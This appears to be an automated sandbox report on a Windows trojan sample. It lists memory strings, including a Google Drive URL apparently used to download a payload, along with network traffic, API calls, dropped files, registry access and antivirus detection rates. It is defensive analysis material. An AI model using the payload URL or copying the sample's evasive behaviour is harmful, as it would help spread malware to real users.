Source: nRNzqQOQwk.exe, 00000001.00000003.15580218463.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531658810.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968616030.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419238478.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419436535.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968482023.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16474207406.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16473999157.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531787161.000000000683F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=downloadid
Source: nRNzqQOQwk.exe, 00000001.00000003.15580218463.000000000683F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=downloadmL
Source: nRNzqQOQwk.exe, 00000001.00000003.12965484524.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13077401848.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13071150715.000000000683B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=downloadnt
Source: nRNzqQOQwk.exe, 00000001.00000003.15233985037.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15580218463.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531658810.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15233856736.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12965484524.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12853316877.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13077401848.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419238478.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419436535.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16474207406.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13071150715.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12959116605.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16473999157.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531787161.000000000683F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=downloadt
Source: nRNzqQOQwk.exe, 00000001.00000001.12761978127.0000000000649000.00000020.00000001.01000000.00000006.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
Source: nRNzqQOQwk.exe, 00000001.00000003.15233985037.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15580218463.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531658810.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15233856736.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000002.16916833797.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12845952675.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12965484524.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12853316877.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13077401848.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968616030.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419238478.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419436535.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968482023.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16474207406.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13071150715.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12959116605.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12845828650.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16473999157.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531787161.000000000683F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: nRNzqQOQwk.exe, 00000001.00000003.14195151062.00000000067FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: nRNzqQOQwk.exe, 00000001.00000003.14195151062.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13296845871.0000000006828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: nRNzqQOQwk.exe, 00000001.00000003.14419575411.0000000006828000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13520406559.0000000006828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapi
Source: nRNzqQOQwk.exe, 00000001.00000003.15233985037.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531658810.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15233856736.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12965484524.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12853316877.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13077401848.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968616030.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419238478.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419436535.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968482023.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13071150715.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12959116605.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531787161.000000000683F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate
Source: nRNzqQOQwk.exe, 00000001.00000003.14195151062.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13296845871.0000000006828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: nRNzqQOQwk.exe, 00000001.00000003.14195151062.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13296845871.0000000006828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: nRNzqQOQwk.exe, 00000001.00000003.14195151062.00000000067FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: nRNzqQOQwk.exe, 00000001.00000003.14195151062.00000000067FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: nRNzqQOQwk.exe, 00000001.00000003.14195151062.00000000067FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: nRNzqQOQwk.exe, 00000001.00000003.15128211863.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531873263.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16703975770.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16138447412.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14307119975.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16592400706.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15016475161.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16362162560.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419575411.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16815816874.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14904620514.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16250138301.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15691986334.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15803735270.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000002.16916696761.00000000067FC000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15362687112.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15580308822.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14195011644.00000000067F9000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14786084325.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14792916940.00000000067FB000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15915220747.00000000067FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.
Source: nRNzqQOQwk.exe, 00000001.00000003.14195151062.00000000067FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 142.250.190.110:443 -> 192.168.11.20:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.97:443 -> 192.168.11.20:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.110:443 -> 192.168.11.20:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.97:443 -> 192.168.11.20:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.97:443 -> 192.168.11.20:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.110:443 -> 192.168.11.20:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.110:443 -> 192.168.11.20:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.97:443 -> 192.168.11.20:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.110:443 -> 192.168.11.20:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.110:443 -> 192.168.11.20:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.97:443 -> 192.168.11.20:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.110:443 -> 192.168.11.20:49810 version: TLS 1.2

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

Code function: 0_2_004050F7 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050F7

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

Code function: 0_2_00403180 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403180

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	File created: C:\Windows\Fonts\prelegacy			Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	File created: C:\Windows\Fonts\prelegacy\prster			Jump to behavior

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

Code function: 0_2_00404936

0_2_00404936

Source: nRNzqQOQwk.exe

Static PE information: invalid certificate

Source: nRNzqQOQwk.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal72.troj.evad.winEXE@3/7@2/2

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

0_2_00403180

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

Code function: 0_2_004043C3 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_004043C3

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

Code function: 0_2_004020CD CoCreateInstance,MultiByteToWideChar,

0_2_004020CD

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

File created: C:\Program Files (x86)\Fljtenists.ini

Jump to behavior

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

File created: C:\Users\user\slavelivets

Jump to behavior

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

File created: C:\Users\user\AppData\Local\Temp\nsj1A27.tmp

Jump to behavior

Source: nRNzqQOQwk.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: nRNzqQOQwk.exe	Virustotal: Detection: 67%
Source: nRNzqQOQwk.exe	ReversingLabs: Detection: 70%

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe

File read: C:\Users\user\Desktop\nRNzqQOQwk.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\nRNzqQOQwk.exe "C:\Users\user\Desktop\nRNzqQOQwk.exe"
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Process created: C:\Users\user\Desktop\nRNzqQOQwk.exe "C:\Users\user\Desktop\nRNzqQOQwk.exe"
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Process created: C:\Users\user\Desktop\nRNzqQOQwk.exe "C:\Users\user\Desktop\nRNzqQOQwk.exe"	Jump to behavior

Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\nRNzqQOQwk.exe	Section loaded: mswsock.dll	Jump to behavior
